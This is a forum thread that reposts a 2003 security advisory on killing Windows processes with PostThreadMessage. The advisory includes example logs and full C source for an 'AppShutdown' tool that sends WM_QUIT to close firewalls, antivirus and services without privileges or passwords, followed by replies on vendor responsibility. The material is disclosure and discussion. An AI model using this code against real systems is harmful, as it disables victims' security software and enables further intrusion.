Another M$ blunder??

[NullDevice]

this is with respect to exploit published by brett moore of http://www.security-assessment.com

=========================================================================
= Process Killing - Playing with PostThreadMessage
=
= brett.moore@security-assessment.com
= http://www.security-assessment.com
=
= Originally posted: October 02, 2003
=========================================================================

== Background ==

While continuing our research into shatter attacks, we turned our
attention to the PostThreadMessage API.

(Start MSDN)
- The PostThreadMessage function places (posts) a message in the message
- queue of the specified thread and then returns without waiting for the
- thread to process the message.
-
- BOOL PostThreadMessage(
- DWORD idThread, // thread identifier
- UINT Msg, // message to post
- WPARAM wParam, // first message parameter
- LPARAM lParam // second message
-
- The function fails if the specified thread does not have a message queue.
- The system creates a thread's message queue when the thread makes its
- first call to one of the Win32 USER or GDI functions.
(End MSDN)

It appears from our testing that any thread running under any security
level will accept a WM_QUIT message, causing the process to terminate.

(Start MSDN)
- WM_QUIT
- The WM_QUIT message indicates a request to terminate an application and
- is generated when the application calls the PostQuitMessage function.
- Return Values
- This message does not have a return value, because it causes the message
- loop to terminate before the message is sent to the application's window
- procedure.
(End MSDN)

Similar results can also be seen in some cases through the use of sending
WM_DESTROY or WM_CLOSE messages.

While this does not have the security implications of 'privilege escalation'
attacks, it may cause some concerns under certain circumstances.

For our testing we used a personal firewall that runs as a service, and
requires a password before terminating. When run from a guest account
Appshutdown was able to kill the firewall service and various other windows
services.

This means that any user has the potential to shutdown;
* antivirus applications
* personal firewall applications
* filtering applications
* monitoring applications
* potentially critical system services.

The mitigating factor is that the thread is required to have a message
queue.

== Example Logs ==

The test.exe process is the personal firewall that requires a password
before shutting down.

The following logs are shortened outputs of the tlist and kill commands
from the NTRK
-------------------------------------------------------
C:\>tlist
208 WINLOGON.EXE NetDDE Agent
1020 test.exe TestFirewall
1132 mstask.exe SYSTEM AGENT COM WINDOW

C:\>kill 1020
process test.exe (1020) - 'TestFirewall' killed
C:\>kill 208
process WINLOGON.EXE (208) - 'NetDDE Agent' killed
-------------------------------------------------------

Authough kill results in the messages above, what really happened was;
a) the password prompt appeared when trying to kill 1020
b) the service remained running when trying to kill 208

-------------------------------------------------------
C:\>appshutdown "TestFirewall"
% AppShutdown - Playing with PostThreadMessage
% brett.moore@security-assessment.com

+ Finding TestFirewall Window...
+ Found Main Window At...0x30038h
+ Finding Window Thread..0x42ch Process 0x3fch
+ Send Quit Message
+ Done...
C:\>appshutdown "NetDDE Agent"
% AppShutdown - Playing with PostThreadMessage
% brett.moore@security-assessment.com

+ Finding NetDDE Agent Window...
+ Found Main Window At...0x10018h
+ Finding Window Thread..0x110h Process 0xd0h
+ Send Quit Message
+ Done...
-------------------------------------------------------

AppShutdown managed to successfully shutdown both services;
a) bypassing the required password for the personal firewall
b) bypassing the security restrictions placed on shutting down services

== Example Code ==

/************************************************************************
* Appshutdown.c
*
* Demonstrates the use of PostThreadMessage to;
* - shutdown any application with a message handler
*
* The window title can be specified in code or on the command line
*
* Works against any application/service process that
* has implemented a message handler
*
*************************************************************************/
#include <windows.h>
#include <commctrl.h>
#include <stdio.h>
char tWindow[]="Windows Task Manager";// The name of the main window
char* pWindow;
int main(int argc, char *argv[])
{
long hWnd,proc;
DWORD hThread;
printf("%% AppShutdown - Playing with PostThreadMessage\n");
printf("%% brett.moore@security-assessment.com\n\n");
// Specify Window Title On Command Line
if (argc ==2)
pWindow = argv[1];
else
pWindow = tWindow;

printf("+ Finding %s Window...\n",pWindow);
hWnd = (long)FindWindow(NULL,pWindow);
if(hWnd == NULL)
{
printf("+ Couldn't Find %s Window\n",pWindow);
return 0;
}
printf("+ Found Main Window At...0x%xh\n",hWnd);
printf("+ Finding Window Thread..");
hThread = GetWindowThreadProcessId(hWnd,&proc);
if(hThread == NULL)
{
printf("Failed\n");
return 0;
}
printf("0x%xh Process 0x%xh\n",hThread,proc);
printf("+ Send Quit Message\n");
PostThreadMessage((DWORD) hThread,(UINT) WM_QUIT,0,0);
printf("+ Done...\n");
return 0;
}

== Example Vulnerable Programs ==

>From our testing, any process that implements a message queue is vulnerable
to been shutdown by a user of any security level. In some instances
bypassing shutdown password requirements.
This attack must be run through an interactive logon.

== Credit ==

Brett Moore from security-assessment.com

== About Security-Assessment.com ==

Security-Assessment.com is a leader in intrusion testing and security
code review, and leads the world with SA-ISO, online ISO17799 compliance
management solution. Security-Assessment.com is committed to security
research and development, and its team have previously identified a
number of vulnerabilities in public and private software vendors products.

posted here : http://packetstormsecurity.nl/0310-e...s/prockill.txt

Now is this another blunder??. I consider this to be a serious problem. As declared by Symentec the new breeds of viruses are becoming too much complex and are quick to take the advantage of new holes.....i see this code being integrated into computer viruses and trojans as boiler plate code to kill all the AVs, Firewalls etc. So simply stating the err of M$ can cost anything. Despite taking all the required steps to secure....M$ blunder left you in the wild just wondering??

Just my views.

[nihil]

Hi NullDevice,

Thanks for the info.

I would not describe it as a "blunder" as such, although it is certainly a (serious?) weakness, as most security products have message queues?

It is fairly obscure, or at least it was until now

As we know there are organisations and individuals who spend all their time looking for weaknesses in Microsoft products. And that is not to mention the "bad guys"!

I have used this analogy before, but it is worth repeating: it is a similar situation to a government passing taxation legislation. You have maybe 12 civil servants spend three months drafting the new law. You then have 2,000,000 tax lawyers and accountants with the rest of their lives to find holes in it. A bit of a one sided contest?

I believe that all operating systems are designed and written to be used properly, and to be easy to use. They are like the Law.................but laws can be broken, there are no laws that cannot?

I do not believe that there will ever be such a thing as a secure operating system, only operating systems functioning in a secure environment.

In this context, I look on your AV and firewall as "policemen"; unfortunately they don't catch all the criminals?

I am sorry I am getting carried away with philosophical rhetoric. My basic comment is that I would not call this a "blunder" because I associate that with "obvious clumsiness"

It is certainly a weakness, many thanks for the warning

Cheers

[NullDevice]

Well nihil u are certainly right many softwares use messages queues......but maintaining the identity and applying proper permissions is the OS's task.....if the OS fails in this task....u have plenty of options to "play bad" with the OS. This can simply lead to choas in the OS.....where is the security when u can simply inject the mesage in the process's message queue without any spl permissions....then the processes vital for the OS to run may also face problem....leading to "Total Crash".....

As in the example provided....he was able to close the netDDE service and a firewall which needed shutdown passwd, bypassing all security measures....

just my views regarding the security of vital OS and Admin run process before the user can logon.

[nihil]

Hi Null Device,

Your post and several others recently have led me to ponder on what is to be expected from an operating system?

I remember the days of DOS, when the OS had no security. You had to rely on the power up password protection in the BIOS.

Windows 2.03 and 3.0 had no protection either, as you booted into DOS first.

Windows 95 had an apparent password, as did 98/98se/Me. These are not true password protections, they are really designed for home systems to allow multiple users to have seperate desktops.

For quite a while NT4 was relatively safe because it did have a security system, and was not well known to virus writers.

I think that the real problems have come with the rise of the internet and the explosion in home computers, most of which are owned by security illiterate people? The speed of connectivity has exacerbated the problem.

What I wonder is just how much is the responsibility for security that of the Operating System Vendor, and how much is that of the purchaser?

Historically, it was always the purchaser who was responsible for running his systems in a secure environment. It seems that opinions have changed somewhat?

I am just not talking about Microsoft, as *nix was spawned in an insecure academic environment, and it is only fair that all OS suppliers are judged equally.

So my question is, to what extent do you think it is the responsibility of the OS provider to guard against some very obscure exploits, that really have nothing to do with the main function of an OS, which must be to stably operate a computer?

I would be interested in your opinion, and that of fellow AOers,

Cheers